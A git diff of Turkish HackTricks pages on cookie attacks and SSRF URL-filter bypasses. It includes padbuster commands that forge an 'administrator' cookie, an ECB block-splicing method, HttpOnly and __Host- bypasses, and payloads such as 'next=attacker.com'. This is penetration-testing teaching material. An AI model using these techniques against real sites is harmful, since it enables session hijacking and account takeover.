Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) tarafından ve biraz değiştirilmiştir.\ Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) tarafından ve hafifçe değiştirilmiştir.\
**_SameSite_** özelliğine sahip bir çerez, oturum gerektiren CSRF saldırılarını **önleyecektir**. **SameSite** özelliğine sahip bir çerez, **oturum gerektiren CSRF saldırılarını hafifletir**.
**\*Unutmayın ki Chrome80'den (şubat/2019) itibaren, samesite özelliği olmayan bir çerezin varsayılan davranışı lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ **\*Unutmayın ki Chrome80'den (şubat/2019) itibaren, samesite özelliği olmayan bir çerezin varsayılan davranışı lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Bu değişiklik uygulandıktan sonra, Chrome'da **Samesite politikası olmayan çerezlerin** ilk 2 dakika boyunca **None** olarak ve ardından üst düzey çapraz site POST isteği için **Lax** olarak işlemleneceğini unutmayın. Bu değişiklik uygulandıktan sonra, Chrome'da **Samesite politikası olmayan çerezlerin** ilk 2 dakika boyunca **None** olarak, daha sonra üst düzey çapraz site POST isteği için **Lax** olarak işlemleneceğini unutmayın.
## Çerez Bayrakları ## Çerez Bayrakları
@ -79,10 +80,10 @@ Bu, **istemcinin** çereze erişmesini engeller (Örneğin **Javascript** aracı
#### **Atlatmalar** #### **Atlatmalar**
* Eğer sayfa, çerezleri yanıt olarak gönderiyorsa (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek gönderip yanıtından çerezleri **çalmak mümkün olabilir** (örneği [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) adresinde bulabilirsiniz). * Eğer sayfa, çerezleri yanıt olarak gönderiyorsa (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek gönderip yanıtından çerezleri **çalmak mümkün olabilir** (örneği [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) adresinde bulabilirsiniz).
* Bu, sunucudan gelen yanıt olarak **TRACE** **HTTP** istekleriyle atlatılabilir (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır. * Bu, sunucudan gelen yanıt olarak **TRACE** **HTTP** isteklerini (bu HTTP yöntemi mevcutsa) yansıtacak şekilde atlatılabilir. Bu teknik **Cross-Site Tracking** olarak adlandırılır.
* Bu teknik, modern tarayıcılar tarafından JS'den TRACE isteği göndermeye izin verilmeyerek önlendi. Ancak, IE6.0 SP2 gibi belirli yazılımlarda, bu kısıtlamaları aşmanın bazı yolları bulunmuştur. * Bu teknik, modern tarayıcılar tarafından JS'den TRACE isteği göndermeye izin verilmeyerek engellenir. Ancak, IE6.0 SP2 gibi belirli yazılımlarda `\r\nTRACE` yerine `TRACE` göndererek bu kısıtlamaların atlatılması mümkündür.
* Başka bir yol, tarayıcıların sıfır/gün açıklarının sömürülmesidir. * Başka bir yol, tarayıcıların sıfır/gün açıklarının sömürülmesidir.
* Bir Cookie Jar taşması saldırısı gerçekleştirerek **HttpOnly çerezleri üzerine yazmak mümkündür**: * HttpOnly çerezleri **üzerine yazılabilir** bir Çerez Kavanozu taşma saldırısı gerçekleştirilerek.
{% content-ref url="cookie-jar-overflow.md" %} {% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md) [cookie-jar-overflow.md](cookie-jar-overflow.md)
@ -96,37 +97,37 @@ Bu, **istemcinin** çereze erişmesini engeller (Örneğin **Javascript** aracı
## Çerez Önekleri ## Çerez Önekleri
`__Secure-` ile başlayan çerezlerin, HTTPS ile korunan sayfalardan gelen `secure` bayrağıyla birlikte ayarlanması gerekmektedir. `__Secure-` ile başlayan çerezlerin, HTTPS ile korunan sayfalardan gelen çerezlerle birlikte ayarlanması gerekmektedir.
`__Host-` ile başlayan çerezler için birkaç koşul karşılanmalıdır: `__Host-` ile başlayan çerezler için birkaç koşul karşılanmalıdır:
* `secure` bayrağıyla ayarlanmalıdır. * `secure` bayrağı ile ayarlanmalıdır.
* HTTPS ile korunan bir sayfadan kaynaklanmalıdır. * HTTPS ile korunan bir sayfadan kaynaklanmalıdır.
* Alan belirtilmemeli ve alt alanlara iletilmemelidir. * Alt alanlara iletilmesini engellemek için bir alan belirtmemelidir.
* Bu çerezlerin yolu `/` olarak ayarlanmalıdır. * Bu çerezlerin yolu `/` olarak ayarlanmalıdır.
`__Host-` ile başlayan çerezlerin süper alanlara veya alt alanlara gönderilmesine izin verilmediğini belirtmek önemlidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, tüm uygulama çerezleri için `__Host-` önekini kullanmak, güvenliği ve izolasyonu artırmak için iyi bir uygulama olarak düşünülebilir. `__Host-` ile başlayan çerezlerin süper alanlara veya alt alanlara gönderilmesine izin verilmediğini unutmamak önemlidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, tüm uygulama çerezleri için `__Host-` önekini kullanmak, güvenliği ve izolasyonu artırmak için iyi bir uygulama olarak düşünülebilir.
### Çerezleri Üzerine Yazma ### Çerezlerin Üzerine Yazılması
Yani, `__Host-` ön ekli çerezlerin korunmasından biri, bunların alt alanlardan üzerine yazılmasını engellemektir. Örneğin [**Çerez Atma saldırıları**](cookie-tossing.md) engellenir. [**Çerez Parçalanıyor: Web Oturum Bütünlüğü Güvenlik Açıklıklarını Ortaya Çıkarma**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) adlı sunumda ([**makale**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) alt alanlardan \_\_HOST- ön ekli çerezlerin ayarlanabileceği, örneğin, ayracı kandırarak mümkün olduğu sunulmuştur, örneğin, "=" başında veya başında ve sonunda...: Yani, `__Host-` ön ekli çerezlerin korunmasından biri, bunların alt alanlardan üzerine yazılmasını engellemektir. Örneğin [**Çerez Atma saldırıları**](cookie-tossing.md) engellenir. [**Çerez Parçalanıyor: Web Oturum Bütünlüğü Güvenlik Açıklıklarını Ortaya Çıkarma**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) adlı sunumda ([**makale**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) alt alanlardan \_\_HOST- ön ekli çerezlerin ayarlanabileceği, ayrıca ayrıca, örneğin, başlangıçta "=" ekleyerek ayrıştırıcıyı kandırarak mümkün olduğu sunulmuştur...:
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Ya da PHP'de **çerez adının başına başka karakterler eklemek** mümkün olabilir ve bu karakterler alt çizgi karakterleriyle **değiştirilebilir**, böylece `__HOST-` çerezlerinin üzerine yazılmasına izin verilir: Veya PHP'de, çerez adının başına **diğer karakterler eklemek** mümkündü ve bu karakterlerin alt çizgi karakterleriyle **değiştirileceği**, böylece `__HOST-` çerezlerin üzerine yazılmasına izin verilecekti:
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="373"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Çerez Saldırıları ## Çerez Saldırıları
Özel bir çerez hassas veri içeriyorsa bunu kontrol edin (özellikle bir CTF oynuyorsanız), zira zayıf olabilir. Özel bir çerez hassas veri içeriyorsa bunu kontrol edin (özellikle bir CTF oynuyorsanız), zira bu savunmasız olabilir.
### Çerezleri Kod Çözme ve Manipüle Etme ### Çerezlerin Kodunu Çözme ve Manipüle Etme
Çerezlere gömülmüş hassas veriler her zaman incelenmelidir. Base64 veya benzer formatlarda kodlanmış çerezler genellikle çözülebilir. Bu zayıflık, saldırganların çereze ait içeriği değiştirmesine ve değiştirilmiş verilerini çereze geri kodlayarak diğer kullanıcıları taklit etmesine olanak tanır. Çerezlere gömülü hassas veriler her zaman incelenmelidir. Base64 veya benzer formatlarda kodlanmış çerezler genellikle çözülebilir. Bu zayıflık, saldırganların çerez içeriğini değiştirmesine ve değiştirilmiş verilerini çerez içine kodlayarak diğer kullanıcıları taklit etmesine olanak tanır.
### Oturum Kaçırma ### Oturum Kaçırma
Bu saldırı, bir kullanıcının çerezini çalarak uygulama içindeki hesabına izinsiz erişim sağlamayı içerir. Çalınan çerez kullanılarak, bir saldırgan meşru kullanıcıyı taklit edebilir. Bu saldırı, bir kullanıcının çerezini çalarak bir uygulamadaki hesabına izinsiz erişim sağlamayı içerir. Çalınan çerez kullanılarak, bir saldırgan meşru kullanıcıyı taklit edebilir.
### Oturum Sabitleme ### Oturum Sabitleme
@ -140,7 +141,7 @@ Eğer bir **alt alanında XSS bulduysanız** veya bir **alt alanınızı kontrol
### Oturum Bağışı ### Oturum Bağışı
Burada, saldırgan kurbanı saldırganın oturum çerezini kullanmaya ikna eder. Kendi hesabına giriş yaptığına inanan kurban, aslında saldırganın hesabında eylemler gerçekleştirir. Burada, saldırgan kurbanı kendi oturum çerezi kullanmaya ikna eder. Kendi hesaplarına giriş yaptıklarını düşünen kurban, aslında saldırganın hesabı bağlamında işlemler gerçekleştirir.
Eğer bir **alt alanında XSS bulduysanız** veya bir **alt alanınızı kontrol ediyorsanız**, okuyun: Eğer bir **alt alanında XSS bulduysanız** veya bir **alt alanınızı kontrol ediyorsanız**, okuyun:
@ -152,15 +153,15 @@ Eğer bir **alt alanında XSS bulduysanız** veya bir **alt alanınızı kontrol
JWT'deki olası hatalarııklayan bir sayfaya erişmek için önceki bağlantıya tıklayın. JWT'deki olası hatalarııklayan bir sayfaya erişmek için önceki bağlantıya tıklayın.
Çerezlerde kullanılan JSON Web Token'lar (JWT) de zayıflıklar içerebilir. JWT'yi hacklemek için bağlantılı belgeye erişmek, potansiyel hatalar ve bunları nasıl kullanacağınız hakkında detaylı bilgi edinmek için önerilir. Çerezlerde kullanılan JSON Web Token'lar (JWT) de zayıflıklar içerebilir. JWT'leri hacklemek için bağlantılı belgeye erişmek, potansiyel hatalar ve bunları nasıl kullanabileceğiniz hakkında detaylı bilgi edinmek için önerilir.
### Cross-Site Request Forgery (CSRF) ### Cross-Site Request Forgery (CSRF)
Bu saldırı, oturum açmış bir kullanıcıyı, mevcut kimlik doğrulama yapılmış bir web uygulamasında istenmeyen eylemleri gerçekleştirmeye zorlar. Saldırganlar, her istekle otomatik olarak gönderilen çerezleri kullanarak savunmasız siteyi istismar edebilirler. Bu saldırı, oturum açmış bir kullanıcıyı, şu anda kimlik doğrulaması yapılmış bir web uygulamasında istenmeyen eylemleri gerçekleştirmeye zorlar. Saldırganlar, her istekle otomatik olarak gönderilen çerezleri kullanarak savunmasız siteyi istismar edebilirler.
### Boş Çerezler ### Boş Çerezler
(Detaylı bilgiler için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, adı olmayan çerezlerin oluşturulmasına izin verir, bu da JavaScript aracılığıyla gösterilebilir. (Detaylı bilgiler için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, adı olmayan çerezlerin oluşturulmasına izin verir, bu JavaScript aracılığıyla aşağıdaki gibi gösterilebilir:
```js ```js
document.cookie = "a=v1" document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "=test value;" // Setting an empty named cookie
@ -176,7 +177,7 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
``` ```
#### Chrome Hatası: Unicode Yedek Kod Nokta Sorunu #### Chrome Hatası: Unicode Yedek Kod Nokta Sorunu
Chrome'da, bir Unicode yedek kod noktası bir set çerezi parçasıysa, `document.cookie` bozulur ve ardından boş bir dize döndürür: Chrome'da, bir Unicode yedek kod noktası bir set çerezi parçası ise, `document.cookie` bozulur ve ardından boş bir dize döner:
```js ```js
document.cookie = "\ud800=meep"; document.cookie = "\ud800=meep";
``` ```
@ -184,39 +185,39 @@ Bu, `document.cookie`'nin boş bir dize çıktısı vermesine neden olarak kalı
#### Ayrıştırma Sorunları Nedeniyle Çerez Kaçırma #### Ayrıştırma Sorunları Nedeniyle Çerez Kaçırma
(Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) dahil birçok web sunucusu, eski RFC2965 desteğinden kaynaklanan çerez dizelerini yanlış işler. Çift tırnakla çevrili bir çerez değeri, genellikle anahtar-değer çiftlerini ayıran noktalı virgüller içerse bile, tek bir değer olarak okunur: (Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) dahil birçok web sunucusu, eski RFC2965 desteğinden kaynaklanan çerez dizelerini yanlış işler. Çift tırnakla çevrili bir çerez değeri, genellikle anahtar-değer çiftlerini ayıran noktalı virgüller içerse bile tek bir değer olarak okunur:
``` ```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
``` ```
#### Çerez Enjeksiyonu Güvenlik Açıklıkları #### Çerez Enjeksiyonu Güvenlik Açıkları
(Sonuçları[orijinal araştırmada](https://blog.ankursundara.com/cookie-bugs/) kontrol edin) Sunucuların, özellikle Undertow, Zope ve Python'ın `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullanılarak çerezleri yanlış ayrıştırması, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular, yeni çerezlerin başlangıcını düzgün bir şekilde sınırlamazlar, bu da saldırganların çerezleri sahtelemesine olanak tanır: (Sonuçları detaylı incelemek için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Sunucuların, özellikle Undertow, Zope ve Python'ın `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullanarak çerezleri yanlış ayrıştırması, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular, yeni çerezlerin başlangıcını düzgün bir şekilde sınırlamazlar, bu da saldırganların çerezleri sahtelemesine olanak tanır:
* Undertow, bir tırnak içindeki bir değerden sonra noktalı virgül olmadan hemen yeni bir çerez bekler. * Undertow, bir tırnak içindeki bir değerden sonra noktalı virgül olmadan hemen yeni bir çerez bekler.
* Zope, bir sonraki çerezi ayrıştırmaya başlamak için bir virgül arar. * Zope, bir sonraki çerezi ayrıştırmaya başlamak için bir virgül arar.
* Python'ın çerez sınıfları, boşluk karakterinde ayrışmaya başlar. * Python'ın çerez sınıfları, boşluk karakterinde ayrışmaya başlar.
Bu güvenlik açığı, çerez tabanlı CSRF korumasına güvenen web uygulamalarında özellikle tehlikelidir, çünkü saldırganlara sahte CSRF belirteci çerezleri enjekte etmelerine ve güvenlik önlemlerini atlamalarına olanak tanır. Sorun, Python'ın çift çerez adlarını işleme şekli tarafından kötüleştirilir, burada son oluşum öncekileri geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin sahteciliğe duyarlı arka uç sunucularına iletilmesi durumunda yetkilendirme atlamalarına yol açabilir. Bu zayıflık, çerez tabanlı CSRF korumasına güvenen web uygulamalarında özellikle tehlikelidir, çünkü saldırganlara sahte CSRF belirteci çerezleri enjekte etme olanağı sağlar ve güvenlik önlemlerini atlayabilir. Sorun, Python'ın çift çerez adlarını işleme şekli tarafından kötüleştirilir, burada son oluşum öncekileri geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin sahteciliğe duyarlı arka uç sunucularına iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.
### Ekstra Hassas Çerez Kontrolleri ### Ekstra Savunmasız Çerez Kontrolleri
#### **Temel kontroller** #### **Temel kontroller**
* **Çerez**, her **giriş** yaptığınızda **aynı** olmalıdır. * **Çerez**, her **girişinizde** **aynı** mıdır?
* Çıkış yapın ve aynı çerezi kullanmaya çalışın. * Çıkış yapın ve aynı çerezi kullanmaya çalışın.
* Aynı çerezi kullanarak aynı hesaba 2 cihazda (veya tarayıcıda) giriş yapmaya çalışın. * Aynı çerezi kullanarak aynı hesaba 2 cihazda (veya tarayıcıda) giriş yapmaya çalışın.
* Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeye çalışın. * Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve bunu değiştirmeyi deneyin.
* Neredeyse aynı kullanıcı adlarıyla birkaç hesap oluşturun ve benzerlikleri görebilir misiniz kontrol edin. * Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturun ve benzerlikleri görebilir misiniz kontrol edin.
* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Eğer varsa ve savunmasız olabilirse, her zaman sadece **beni hatırla** çerezini kullanın, başka çerez olmadan. * Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Eğer varsa ve savunmasız olabilirse, her zaman sadece **beni hatırla** çerezini kullanın, başka çerez kullanmayın.
* Şifrenizi değiştirdikten sonra önceki çerezin hala çalışıp çalışmadığını kontrol edin. * Şifrenizi değiştirdikten sonra önceki çerez hala çalışıyor mu kontrol edin.
#### **Gelişmiş çerez saldırıları** #### **Gelişmiş çerez saldırıları**
Eğer giriş yaptığınızda çerez aynı kalıyorsa (veya neredeyse aynı), bu muhtemelen çerezin hesabınızın bir alanıyla ilişkili olduğu anlamına gelir (muhtemelen kullanıcı adı). O zaman şunları yapabilirsiniz: Eğer giriş yaptığınızda çerez aynı kalıyorsa (veya neredeyse aynı), bu muhtemelen çerezin hesabınızın bir alanıyla ilişkili olduğu anlamına gelir (muhtemelen kullanıcı adı). O zaman şunları yapabilirsiniz:
* Çok sayıda **hesap** oluşturun ve kullanıcı adları çok **benzer** olsun ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın. * Çok sayıda **hesap** oluşturun, çok **benzer** kullanıcı adlarıyla ve algoritmanın nasıl çalıştığını **tahmin etmeye** çalışın.
* **Kullanıcı adını brute force** deneyin. Eğer çerez sadece kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her **bitini** brute force edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olacaktır. * **Kullanıcı adını** **bruteforce** etmeye çalışın. Eğer çerez sadece kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her **bitini** tek tek **bruteforce** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olacaktır.
* **Padding Oracle** deneyin (çerezin içeriğini şifreleyebilirsiniz). **Padbuster** kullanın. * **Padding Oracle** deneyin (çerezin içeriğini şifreleyebilirsiniz). **Padbuster**'ı kullanın.
**Padding Oracle - Padbuster örnekleri** **Padding Oracle - Padbuster örnekleri**
```bash ```bash
@ -232,7 +233,7 @@ Padbuster birkaç deneme yapacak ve hangi koşulun hata koşulu olduğunu soraca
Daha sonra çerezin şifresini çözmeye başlayacak (birkaç dakika sürebilir). Daha sonra çerezin şifresini çözmeye başlayacak (birkaç dakika sürebilir).
Saldırı başarılı bir şekilde gerçekleştirildiyse, istediğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, eğer **user=admin** şifrelemek isterseniz Saldırı başarılı bir şekilde gerçekleştirildiyse, istediğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, eğer **user=admin**'i **şifrelemek** isterseniz.
``` ```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
``` ```
@ -240,7 +241,7 @@ Bu işlem, içinde **user=administrator** dizesi bulunan çerezin doğru bir şe
**CBC-MAC** **CBC-MAC**
Belki bir çerez bir değere sahip olabilir ve CBC kullanılarak imzalanabilir. Ardından, değerin bütünlüğü, aynı değeri kullanarak CBC'yi kullanarak oluşturulan imza olacaktır. IV olarak bir nul vektörü kullanılması önerildiği için, bu tür bütünlük kontrolü savunmasız olabilir. Belki bir çerez bir değere sahip olabilir ve CBC kullanılarak imzalanabilir. Sonra, değerin bütünlüğü, aynı değeri kullanarak CBC'yi kullanarak oluşturulan imzadır. IV olarak bir nul vektörü kullanılması önerildiği için, bu tür bütünlük kontrolü savunmasız olabilir.
**Saldırı** **Saldırı**
@ -251,7 +252,7 @@ Belki bir çerez bir değere sahip olabilir ve CBC kullanılarak imzalanabilir.
**ECB** **ECB**
Çerez ECB kullanılarak şifrelenmişse savunmasız olabilir.\ Çerez ECB kullanılarak şifrelenmişse savunmasız olabilir.\
Oturum açtığınızda aldığınız çerez her zaman aynı olmalıdır. Giriş yaptığınızda aldığınız çerez her zaman aynı olmalıdır.
**Nasıl tespit edilir ve saldırılır:** **Nasıl tespit edilir ve saldırılır:**
@ -259,7 +260,7 @@ Neredeyse aynı verilere sahip 2 kullanıcı oluşturun (kullanıcı adı, şifr
Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (ECB, her bloğu aynı anahtarla şifrelediği için, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir). Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (ECB, her bloğu aynı anahtarla şifrelediği için, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir).
Bir desen olmalıdır (kullanılan blok boyutunda). Bu nedenle, bir grup "a"nın nasıl şifrelendiğini bildiğinizde, "a"\*(blok boyutu)+"admin" kullanıcı adını oluşturabilirsiniz. Sonra, "a" bloğunun şifrelenmiş desenini çerezden silebilirsiniz. Ve kullanıcı adı "admin" olan çerezi elde edersiniz. Bir desen olmalıdır (kullanılan blok boyutunda). Bu nedenle, bir grup "a"nın nasıl şifrelendiğini bildiğinizde, "a"\*(blok boyutu)+"admin" şeklinde bir kullanıcı adı oluşturabilirsiniz. Sonra, "a" bloğunun şifrelenmiş desenini çerezden silebilirsiniz. Ve kullanıcı adı "admin" olan çerezi elde edebilirsiniz.
## Referanslar ## Referanslar
@ -268,20 +269,20 @@ Bir desen olmalıdır (kullanılan blok boyutunda). Bu nedenle, bir grup "a"nın
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destek olun.**
</details> </details>

File diff suppressed because one or more lines are too long

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -159,9 +159,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution #Parameter pollution
next={domain}&next=attacker.com next={domain}&next=attacker.com
``` ```
### Yollar ve Uzantılar Geçişi ### Yollar ve Uzantılar Geçme
Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa, veya bir yol içermesi gerekiyorsa, aşağıdaki geçişlerden birini deneyebilirsiniz: Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa veya bir yol içermesi gerekiyorsa, aşağıdaki geçişlerden birini deneyebilirsiniz:
``` ```
https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension https://metadata/vulerable/path#.extension
@ -169,12 +169,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
``` ```
### Fuzzing ### Fuzzing
